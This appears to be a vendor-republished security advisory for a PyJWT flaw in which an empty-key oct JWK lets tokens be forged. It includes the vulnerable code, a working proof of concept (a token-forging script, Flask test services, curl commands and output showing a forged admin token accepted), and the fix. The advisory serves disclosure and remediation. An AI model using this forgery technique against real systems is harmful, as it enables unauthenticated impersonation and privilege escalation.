GHSA-PXH4-856F-4H89

GHSA-PXH4-856F-4H89 is a high-severity security vulnerability in pyjwt (pip), affecting versions <= 2.13.0. It is fixed in 2.14.0.

Does this CVE actually affect you?

Kodem shows which CVEs are reachable and running in your applications, so you fix what's exploitable, not just what's listed.

Thank you! Your submission has been received!
Oops! Something went wrong while submitting the form.

Runtime intelligence, not another scanner.

Summary

PyJWT: HS256/384/512 verify accepts empty HMAC key via oct JWK (PyJWK/PyJWKClient) enabling token forgery

HMACAlgorithm.from_jwk accepts a symmetric (kty=oct) JWK whose k value is
the empty string and returns a zero-length key without raising. When a token is
then verified with that key object (a PyJWK, or a PyJWK resolved by
PyJWKSet / PyJWKClient), the HMAC verifier computes
HMAC(key=b"", signing_input) and accepts any token an attacker forged with the
same empty key. The attacker needs no secret knowledge: they reproduce the digest
locally with an empty key and set the token's kid to the empty-k JWK.

The empty-key rejection that HMACAlgorithm.prepare_key performs for
string/bytes secrets (added in 2.13.0) was never propagated to the sibling
from_jwk code path, so the JWK/JWKS verification route stays exploitable. Under
default decode options this path only emits an InsecureKeyLengthWarning, not an
error, so verification still succeeds. This is the same "empty/nil HMAC key is
accepted by verify" defect the JWT ecosystem is currently closing library-side:
fast-jwt CVE-2026-44351 (CVSS 9.1) and ruby-jwt CVE-2026-45363 both added a
library-side reject-empty-HMAC-key precondition.

Affected versions

PyJWT (PyPI package pyjwt) <= 2.13.0, current master at commit
7144e4534c34810f4525dc4578a32addd8212cff. The string/bytes secret path is
already guarded in 2.13.0; the JWK/JWKS path is not.

Privilege required

Unauthenticated. Any party who can reach a JWT-verifying endpoint of an
application that verifies via a PyJWK / PyJWKSet / PyJWKClient whose oct
key has an empty k can forge tokens with arbitrary claims.

Preconditions: the verifier resolves the HMAC key from a JWK/JWKS whose oct
entry carries an empty k. This occurs when the signing secret is sourced from
an unset environment variable / unset config row / key-finder fallback that
base64url-encodes b"" into the published JWKS, or when the application trusts a
JWKS containing such an entry. The equivalent unset-secret case for the
string-secret API (jwt.decode(token, key="")) is already rejected in 2.13.0;
the JWK route is the remaining reachable surface for the same misconfiguration.

Vulnerable code

jwt/algorithms.py, HMACAlgorithm.from_jwk (line 380):

@staticmethod
def from_jwk(jwk: str | JWKDict) -> bytes:
    try:
        if isinstance(jwk, str):
            obj: JWKDict = json.loads(jwk)
        elif isinstance(jwk, dict):
            obj = jwk
        else:
            raise ValueError
    except ValueError:
        raise InvalidKeyError("Key is not valid JSON") from None

    if obj.get("kty") != "oct":
        raise InvalidKeyError("Not an HMAC key")

    return base64url_decode(obj["k"])   # <-- empty k -> b"", no rejection

Contrast the sibling prepare_key, which DID get the guard (lines 325-329):

def prepare_key(self, key: str | bytes) -> bytes:
    key_bytes = force_bytes(key)

    if len(key_bytes) == 0:
        raise InvalidKeyError("HMAC key must not be empty.")

In jwt/api_jws.py, _verify_signature (lines 389-416) uses the PyJWK key
material directly, bypassing prepare_key, and the length warning is non-fatal
by default:

        if isinstance(key, PyJWK):
            if alg != key.algorithm_name:
                raise InvalidAlgorithmError(
                    f"Token algorithm {alg!r} does not match the key's "
                    f"algorithm {key.algorithm_name!r}"
                )
            alg_obj = key.Algorithm
            prepared_key = key.key            # from_jwk output (b""), prepare_key not run
        else:
            try:
                alg_obj = self.get_algorithm_by_name(alg)
            except NotImplementedError as e:
                raise InvalidAlgorithmError("Algorithm not supported") from e
            prepared_key = alg_obj.prepare_key(key)

        key_length_msg = alg_obj.check_key_length(prepared_key)
        if key_length_msg:
            if effective_options.get("enforce_minimum_key_length", False):
                raise InvalidKeyError(key_length_msg)
            else:
                warnings.warn(key_length_msg, InsecureKeyLengthWarning, stacklevel=4)  # default: warn only

        if not alg_obj.verify(signing_input, prepared_key, signature):  # verify with b"" succeeds
            raise InvalidSignatureError("Signature verification failed")

PyJWK.__init__ sets self.key = self.Algorithm.from_jwk(self._jwk_data), so a
{"kty":"oct","k":""} JWK yields PyJWK.key == b"". PyJWKSet and
PyJWKClient.get_signing_key_from_jwt build PyJWK objects the same way, so the
JWKS-over-HTTP resolution route is affected identically.

The 2.13.0 release note (CHANGELOG.rst) documents the prepare_key JWK/PEM
hardening (GHSA-xgmm-8j9v-c9wx) and the PyJWK alg-binding fix
(GHSA-jq35-7prp-9v3f), and the test suite has
test_hmac_prepare_key_rejects_empty_key plus
test_hmac_from_jwk_should_raise_exception_if_empty_json (which tests an empty
JSON object {}, not an oct key with empty k). The empty-k oct case is the
untested sibling path this report closes.

How the attacker input reaches the sink

An unauthenticated HTTP client controls the bearer token entirely: its kid
selects the empty-k oct JWK, and its signature is computed locally with the
empty key. The token flows request header -> PyJWKClient.get_signing_key_from_jwt
(kid resolution against the trusted JWKS) -> jwt.decode with the resolved
PyJWK -> _verify_signature -> HMACAlgorithm.verify(signing_input, b"", sig).
No secret,
credential, or prior session is required; the only server-side precondition is a
JWKS oct entry with an empty k, which the "unset signing secret" configuration
produces. This is the identical trust boundary the string-secret path already
guards.

Proof of concept

End-to-end reproduction against pinned PyPI pyjwt 2.13.0 (two deployed Flask services)

Two services model a standard OIDC-style deployment: an auth service publishing a
JWKS, and a protected resource server validating bearer tokens against that JWKS
with PyJWT's documented PyJWKClient pattern. The auth service's signing secret
is sourced from an unset env var (SIGNING_SECRET unset -> ""), so the
published oct JWK carries k == "".

idp.py (auth service):

import os, base64
from flask import Flask, jsonify
app = Flask(__name__)
SIGNING_SECRET = os.environ.get("SIGNING_SECRET", "")   # UNSET at runtime -> ""
def b64u(b): return base64.urlsafe_b64encode(b).rstrip(b"=").decode()

@app.route("/.well-known/jwks.json")
def jwks():
    return jsonify({"keys": [{
        "kty": "oct", "use": "sig", "alg": "HS256",
        "kid": "auth-signing-2026",
        "k": b64u(SIGNING_SECRET.encode()),   # empty secret -> k == ""
    }]})

if __name__ == "__main__":
    app.run(port=9101)

api.py (protected resource server):

from flask import Flask, request, jsonify
import jwt
from jwt import PyJWKClient
app = Flask(__name__)
jwks_client = PyJWKClient("http://127.0.0.1:9101/.well-known/jwks.json")

def authenticate():
    auth = request.headers.get("Authorization", "")
    if not auth.startswith("Bearer "):
        return None, "missing bearer token"
    token = auth.split(" ", 1)[1]
    try:
        signing_key = jwks_client.get_signing_key_from_jwt(token)  # resolves by kid
        claims = jwt.decode(token, signing_key, algorithms=["HS256", "RS256"])
    except Exception as e:
        return None, "invalid token: %s" % type(e).__name__
    return claims, None

@app.route("/api/admin/users")
def admin_users():
    claims, err = authenticate()
    if err:
        return jsonify({"error": err}), 401
    if claims.get("role") != "admin":
        return jsonify({"error": "forbidden"}), 403
    return jsonify({"ok": True, "action": "list_all_users",
                    "as_user": claims.get("sub"), "role": claims.get("role")})

if __name__ == "__main__":
    app.run(port=9102)

forge.py (attacker; no secret knowledge):

import hmac, hashlib, base64, json, sys
def b64u(b): return base64.urlsafe_b64encode(b).rstrip(b"=").decode()
header={"alg":"HS256","typ":"JWT","kid":"auth-signing-2026"}
payload={"sub":"[email protected]","role":"admin"}
si=b64u(json.dumps(header,separators=(',',':')).encode())+"."+b64u(json.dumps(payload,separators=(',',':')).encode())
key = sys.argv[1].encode() if len(sys.argv)>1 else b""   # empty key
sig=hmac.new(key, si.encode(), hashlib.sha256).digest()
print(si+"."+b64u(sig))

Run:

python -m venv v && ./v/bin/pip install "PyJWT==2.13.0" flask
( SIGNING_SECRET= ./v/bin/python idp.py & ) ; ./v/bin/python api.py &
FORGED=$(./v/bin/python forge.py "")
curl -s -H "Authorization: Bearer $FORGED" http://127.0.0.1:9102/api/admin/users

Verbatim run (attack, both negative controls, sanity, and patched-build re-run):

### PyJWT version
2.13.0

### JWKS published by the auth service (note the empty "k"):
{"keys":[{"alg":"HS256","k":"","kid":"auth-signing-2026","kty":"oct","use":"sig"}]}

### Baseline: unauthenticated request to admin endpoint
HTTP 401

### ATTACK: attacker forges HS256 admin token signed with the EMPTY key
forged token: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCIsImtpZCI6ImF1dGgtc2lnbmluZy0yMDI2In0.eyJzdWIiOiJhdHRhY2tlckBldmlsLmV4YW1wbGUiLCJyb2xlIjoiYWRtaW4ifQ.iwgDP9D-oD0zXWMEUhx710f_NjHWKkrLVgjPAOtEUSQ
response:
{"action":"list_all_users","as_user":"[email protected]","ok":true,"role":"admin"}
  <-- HTTP 200

### NEGATIVE CONTROL 1: forge with a WRONG non-empty key (IdP still empty) -> reject
{"error":"invalid token: InvalidSignatureError"}
  <-- HTTP 401

### NEGATIVE CONTROL 2: IdP restarted with a REAL non-empty secret; empty-key forgery must now fail
JWKS now has non-empty k:
{"keys":[{"alg":"HS256","k":"YS1yZWFsLTMyLWJ5dGUtc3Ryb25nLXNlY3JldC12YWx1ZS0xMjM0","kid":"auth-signing-2026","kty":"oct","use":"sig"}]}
{"error":"invalid token: InvalidSignatureError"}
  <-- HTTP 401

### Sanity: a legitimately-signed token with the real secret is accepted
{"action":"list_all_users","as_user":"[email protected]","ok":true,"role":"admin"}
  <-- HTTP 200

### PATCHED BUILD (from_jwk rejects empty k): re-run the empty-key forgery -> now rejected
JWKS (empty k, vulnerable config):
{"keys":[{"alg":"HS256","k":"","kid":"auth-signing-2026","kty":"oct","use":"sig"}]}
{"error":"invalid token: PyJWKSetError"}
  <-- HTTP 401

The attack returns HTTP 200 with role:admin from an unauthenticated forged
token. Both negative controls (wrong non-empty key; real non-empty secret at the
auth service) return 401, isolating the defect to empty-key acceptance. The
patched build (the from_jwk fix below) rejects the forgery.

Fix PR

https://github.com/jpadilla/pyjwt-ghsa-pxh4-856f-4h89/pull/1 (private advisory
temp fork, base master, branch fix/hmac-from-jwk-reject-empty-key,
DCO-signed; adds test_hmac_from_jwk_rejects_empty_k; test_algorithms.py,
test_api_jwk.py, test_api_jws.py pass).

Credit

Reported by tonghuaroot.

Maintainer update (2026-09-10): We reproduced the reported behavior: an oct JWK with an empty k value was decoded to an empty HMAC key and accepted through the JWK/PyJWK verification path, while the raw string/bytes path correctly rejected an empty key. The fix adds the same empty-key validation at the JWK boundary and includes a regression test. It is committed as af8181ca0bec5e6b372fbba9afbe23702b787ceb and has passed the available project tox environments, including crypto and non-crypto tests on Python 3.9, 3.12, and 3.13, plus mypy, package metadata, and coverage checks. Fresh Astra/max review accepted the fix and confirmed that nonempty, binary, and asymmetric-key behavior remains unchanged. The fix has not yet shipped in a released PyJWT version, so this advisory is being moved to draft and remains unpublished pending release.

Maintainer update, 2026-09-11

The verified fix for this advisory is included in PyJWT 2.14.0, released on 2026-09-11 and available on PyPI. PyJWT 2.14.0 is the first release containing the fix. This advisory is now published with 2.14.0 recorded as the patched version.

Impact

  • Unauthenticated authentication bypass / token forgery: an attacker mints tokens
    with arbitrary claims (role:admin, arbitrary sub) that verify successfully,
    yielding full impersonation and privilege escalation on any endpoint gated by
    such tokens.
  • Reachable through the documented JWKS verification API
    (PyJWKClient / PyJWKSet / PyJWK), not just direct HMACAlgorithm use.
  • Triggered by the common "unset signing secret" misconfiguration that the
    string-secret path already rejects in 2.13.0, leaving the JWK path as an
    asymmetric gap.

GHSA-PXH4-856F-4H89 has a CVSS score of 7.4 (High). The vector is network-reachable, no privileges required, and no user interaction. A CVSS score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether this affects your application depends on whether the vulnerable code is present and reachable in your environment. A fixed version is available (2.14.0); upgrading removes the vulnerable code path.

Affected versions

pyjwt (<= 2.13.0)

Security releases

pyjwt → 2.14.0 (pip)

Kodem intelligence

Severity tells you how bad this could be in the worst case. It does not tell you whether you are exposed. Exploitability and impact are functions of runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A vulnerable package can sit in your dependency tree and never run.

Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter. Kodem's runtime-powered SCA identifies whether this CVE is reachable in your applications.

Already deployed Kodem?

See it in your environmentNew to Kodem? Get a demo →

Remediation advice

Reject a zero-length key in HMACAlgorithm.from_jwk, mirroring the guard that
prepare_key already applies:

if obj.get("kty") != "oct":
    raise InvalidKeyError("Not an HMAC key")

key_bytes = base64url_decode(obj["k"])
if len(key_bytes) == 0:
    raise InvalidKeyError("HMAC key must not be empty.")
return key_bytes

This reuses the exact error message and length check the string/bytes path uses,
so both HMAC key-loading routes enforce the same invariant. A regression test for
the empty-k oct JWK belongs next to test_hmac_from_jwk_should_raise_exception_if_empty_json.

Frequently Asked Questions

  1. What is GHSA-PXH4-856F-4H89? GHSA-PXH4-856F-4H89 is a high-severity security vulnerability in pyjwt (pip), affecting versions <= 2.13.0. It is fixed in 2.14.0.
  2. How severe is GHSA-PXH4-856F-4H89? GHSA-PXH4-856F-4H89 has a CVSS score of 7.4 (High). This score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether it represents real risk in your environment depends on whether the vulnerable code is present and reachable.
  3. Which versions of pyjwt are affected by GHSA-PXH4-856F-4H89? pyjwt (pip) versions <= 2.13.0 is affected.
  4. Is there a fix for GHSA-PXH4-856F-4H89? Yes. GHSA-PXH4-856F-4H89 is fixed in 2.14.0. Upgrade to this version or later.
  5. Is GHSA-PXH4-856F-4H89 exploitable, and should I be worried? Whether GHSA-PXH4-856F-4H89 is exploitable in your environment depends on whether the vulnerable code is present and reachable. A CVSS score is a worst-case rating; it does not account for your specific deployment, configuration, or usage patterns. Kodem, an Intelligent Application Security platform, uses runtime intelligence to show which vulnerabilities actually execute in production, so you can focus on the ones that represent real risk. Get a demo
  6. What actually determines whether GHSA-PXH4-856F-4H89 is exploitable, and how bad it is? Exploitability and impact are not fixed properties of a CVE. They depend on runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A high CVSS score on a dependency that never runs is not the same as real risk. Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter.
  7. How do I fix GHSA-PXH4-856F-4H89? Upgrade pyjwt to 2.14.0 or later.

Other vulnerabilities in pyjwt

Stop the waste.
Protect your environment with Kodem.